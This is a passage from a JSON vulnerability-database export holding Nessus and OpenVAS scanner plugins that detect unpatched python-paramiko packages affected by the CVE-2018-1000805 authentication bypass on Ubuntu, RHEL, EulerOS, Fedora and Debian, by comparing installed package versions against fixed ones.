value:\"p-cpe:/a:canonical:ubuntu_linux:python3-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:14.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:18.04:-:lts\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/17\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/18\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2018-2020 Canonical, Inc. / NASL script (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"misc_func.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(14\\.04|16\\.04|18\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 14.04 / 16.04 / 18.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nflag = 0;\n\nif (ubuntu_check(osver:\"14.04\", pkgname:\"python-paramiko\", pkgver:\"1.10.1-1git1ubuntu0.2\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"python-paramiko\", pkgver:\"1.16.0-1ubuntu0.2\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"python3-paramiko\", pkgver:\"1.16.0-1ubuntu0.2\")) flag++;\nif (ubuntu_check(osver:\"18.04\", pkgname:\"python-paramiko\", pkgver:\"2.0.0-1ubuntu1.1\")) flag++;\nif (ubuntu_check(osver:\"18.04\", pkgname:\"python3-paramiko\", pkgver:\"2.0.0-1ubuntu1.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko / python3-paramiko\");\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-03-01T05:47:10", "description": "An update for python-paramiko is now available for Red Hat Enterprise\nLinux 6, Red Hat Enterprise Linux 6.4 Advanced Update Support, Red Hat\nEnterprise Linux 6.5 Advanced Update Support, Red Hat Enterprise Linux\n6.6 Advanced Update Support, Red Hat Enterprise Linux 6.6 Telco\nExtended Update Support, and Red Hat Enterprise Linux 6.7 Extended\nUpdate Support.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe python-paramiko package provides a Python module that implements\nthe SSH2 protocol for encrypted and authenticated connections to\nremote machines. Unlike SSL, the SSH2 protocol does not require\nhierarchical certificates signed by a powerful central authority. The\nprotocol also includes the ability to open arbitrary channels to\nremote services across an encrypted tunnel.\n\nSecurity Fix(es) :\n\n* python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.", "edition": 25, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-10-31T00:00:00", "title": "RHEL 6 : python-paramiko (RHSA-2018:3406)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2021-03-02T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:6.7", "cpe:/o:redhat:enterprise_linux:6.5", "cpe:/o:redhat:enterprise_linux:6.4", "cpe:/o:redhat:enterprise_linux:6.6", "p-cpe:/a:redhat:enterprise_linux:python-paramiko", "cpe:/o:redhat:enterprise_linux:6"], "id": "REDHAT-RHSA-2018-3406.NASL", "href": "https://www.tenable.com/plugins/nessus/118553", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2018:3406. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(118553);\n script_version(\"1.7\");\n script_cvs_date(\"Date: 2019/10/24 15:35:46\");\n\n script_cve_id(\"CVE-2018-1000805\");\n script_xref(name:\"RHSA\", value:\"2018:3406\");\n\n script_name(english:\"RHEL 6 : python-paramiko (RHSA-2018:3406)\");\n script_summary(english:\"Checks the rpm output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An update for python-paramiko is now available for Red Hat Enterprise\nLinux 6, Red Hat Enterprise Linux 6.4 Advanced Update Support, Red Hat\nEnterprise Linux 6.5 Advanced Update Support, Red Hat Enterprise Linux\n6.6 Advanced Update Support, Red Hat Enterprise Linux 6.6 Telco\nExtended Update Support, and Red Hat Enterprise Linux 6.7 Extended\nUpdate Support.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Critical. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe python-paramiko package provides a Python module that implements\nthe SSH2 protocol for encrypted and authenticated connections to\nremote machines. Unlike SSL, the SSH2 protocol does not require\nhierarchical certificates signed by a powerful central authority. The\nprotocol also includes the ability to open arbitrary channels to\nremote services across an encrypted tunnel.\n\nSecurity Fix(es) :\n\n* python-paramiko: Authentication bypass in auth_handler.py\n(CVE-2018-1000805)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, and other related information, refer to the CVE page(s)\nlisted in the References section.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2018:3406\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2018-1000805\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected python-paramiko package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6.4\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6.5\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6.6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6.7\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/31\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 6.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2018:3406\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{ sp = get_kb_item(\"Host/RedHat/minor_release\");\n if (isnull(sp)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\n\n flag = 0;\nif (sp == \"6\") { if (rpm_check(release:\"RHEL6\", sp:\"6\", reference:\"python-paramiko-1.7.5-4.el6_6.1\")) flag++; }\nelse if (sp == \"4\") { if (rpm_check(release:\"RHEL6\", sp:\"4\", reference:\"python-paramiko-1.7.5-4.el6_4.1\")) flag++; }\nelse if (sp == \"7\") { if (rpm_check(release:\"RHEL6\", sp:\"7\", reference:\"python-paramiko-1.7.5-4.el6_7.1\")) flag++; }\nelse if (sp == \"5\") { if (rpm_check(release:\"RHEL6\", sp:\"5\", reference:\"python-paramiko-1.7.5-4.el6_5.1\")) flag++; }\n else { if (rpm_check(release:\"RHEL6\", reference:\"python-paramiko-1.7.5-5.el6_10\")) flag++; }\n\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko\");\n }\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T09:04:27", "description": "According to the version of the python-paramiko packages installed,\nthe EulerOS installation on the remote host is affected by the\nfollowing vulnerability :\n\n - Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8,\n 1.18.5, 1.17.6 contains a Incorrect Access Control\n vulnerability in SSH server that can result in RCE.\n This attack appear to be exploitable via network\n connectivity.(CVE-2018-1000805)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 5, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-05-26T00:00:00", "title": "EulerOS 2.0 SP8 : python-paramiko (EulerOS-SA-2020-1588)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2020-05-26T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:python3-paramiko", "p-cpe:/a:huawei:euleros:python2-paramiko", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2020-1588.NASL", "href": "https://www.tenable.com/plugins/nessus/136866", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(136866);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2018-1000805\"\n );\n\n script_name(english:\"EulerOS 2.0 SP8 : python-paramiko (EulerOS-SA-2020-1588)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the python-paramiko packages installed,\nthe EulerOS installation on the remote host is affected by the\nfollowing vulnerability :\n\n - Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8,\n 1.18.5, 1.17.6 contains a Incorrect Access Control\n vulnerability in SSH server that can result in RCE.\n This attack appear to be exploitable via network\n connectivity.(CVE-2018-1000805)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2020-1588\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?6a8a798b\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected python-paramiko package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-1000805\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/05/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/05/26\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python2-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:python3-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(8)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"python2-paramiko-2.4.1-5.h1.eulerosv2r8\",\n \"python3-paramiko-2.4.1-5.h1.eulerosv2r8\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"8\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko\");\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-01-07T10:20:44", "description": "Python Paramiko versions 2.3.2 and 2.4.1 are vulnerable to an\nauthentication bypass in `paramiko/auth_handler.py`. A remote attacker\ncould exploit this vulnerability in Paramiko SSH servers to execute\narbitrary code. Note that applications using Paramiko only as a client\n(such as ansible) are not affected by this.\n\nThere is also an additional fix preventing `MSG_UNIMPLEMENTED`\nfeedback loops that could manifest when both ends of a connection are\nParamiko-based.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 16, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "published": "2018-10-15T00:00:00", "title": "Fedora 27 : python-paramiko (2018-aff51f5e62)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "modified": "2018-10-15T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:27", "p-cpe:/a:fedoraproject:fedora:python-paramiko"], "id": "FEDORA_2018-AFF51F5E62.NASL", "href": "https://www.tenable.com/plugins/nessus/118104", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2018-aff51f5e62.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(118104);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2018-1000805\");\n script_xref(name:\"FEDORA\", value:\"2018-aff51f5e62\");\n\n script_name(english:\"Fedora 27 : python-paramiko (2018-aff51f5e62)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Python Paramiko versions 2.3.2 and 2.4.1 are vulnerable to an\nauthentication bypass in `paramiko/auth_handler.py`. A remote attacker\ncould exploit this vulnerability in Paramiko SSH servers to execute\narbitrary code. Note that applications using Paramiko only as a client\n(such as ansible) are not affected by this.\n\nThere is also an additional fix preventing `MSG_UNIMPLEMENTED`\nfeedback loops that could manifest when both ends of a connection are\nParamiko-based.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2018-aff51f5e62\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected python-paramiko package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:python-paramiko\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:27\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/10/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^27([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 27\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC27\", reference:\"python-paramiko-2.3.3-1.fc27\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python-paramiko\");\n}\n", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2020-01-29T20:11:02", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805", "CVE-2018-7750"], "description": "CVE-2018-1000805\nFix to prevent malicious clients to trick the Paramiko server into\nthinking an unauthenticated client is authenticated.\n\nCVE-2018-7750\nFix check whether authentication is completed before processing\nother requests. A customized SSH client can simply skip the\nauthentication step.", "modified": "2020-01-29T00:00:00", "published": "2018-10-29T00:00:00", "id": "OPENVAS:1361412562310891556", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310891556", "type": "openvas", "title": "Debian LTS: Security Advisory for paramiko (DLA-1556-1)", "sourceData": "# Copyright (C) 2018 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.891556\");\n script_version(\"2020-01-29T08:22:52+0000\");\n script_cve_id(\"CVE-2018-1000805\", \"CVE-2018-7750\");\n script_name(\"Debian LTS: Security Advisory for paramiko (DLA-1556-1)\");\n script_tag(name:\"last_modification\", value:\"2020-01-29 08:22:52 +0000 (Wed, 29 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2018-10-29 00:00:00 +0100 (Mon, 29 Oct 2018)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2018/10/msg00018.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB8\");\n\n script_tag(name:\"affected\", value:\"paramiko on Debian Linux\");\n\n script_tag(name:\"solution\", value:\"For Debian 8 'Jessie', these problems have been fixed in version\n1.15.1-1+deb8u1.\n\nWe recommend that you upgrade your paramiko packages.\");\n\n script_tag(name:\"summary\", value:\"CVE-2018-1000805\nFix to prevent malicious clients to trick the Paramiko server into\nthinking an unauthenticated client is authenticated.\n\nCVE-2018-7750\nFix check whether authentication is completed before processing\nother requests. A customized SSH client can simply skip the\nauthentication step.\");\n\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"paramiko-doc\", ver:\"1.15.1-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python-paramiko\", ver:\"1.15.1-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python3-paramiko\", ver:\"1.15.1-1+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:24", "bulletinFamily": "scanner", "cvelist": ["CVE-2018-1000805"], "description": "The remote host is missing an update for the ", "modified": "2019-03-18T00:00:00", "published": "2018-10-18T00:00:00", "id": "OPENVAS:1361412562310843661", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310843661", "type": "openvas", "title": "Ubuntu Update for paramiko USN-3796-1", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_ubuntu_USN_3796_1.nasl 14288 2019-03-18 16:34:17Z cfischer $\n#\n# Ubuntu Update for paramiko USN-3796-1\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.843661\");\n script_version(\"$Revision: 14288 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-18 17:34:17 +0100 (Mon, 18 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-18 06:28:40 +0200 (Thu, 18 Oct 2018)\");\n script_cve_id(\"CVE-2018-1000805\");\n script_tag(name:\"cvss_base\", value:\"6.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", 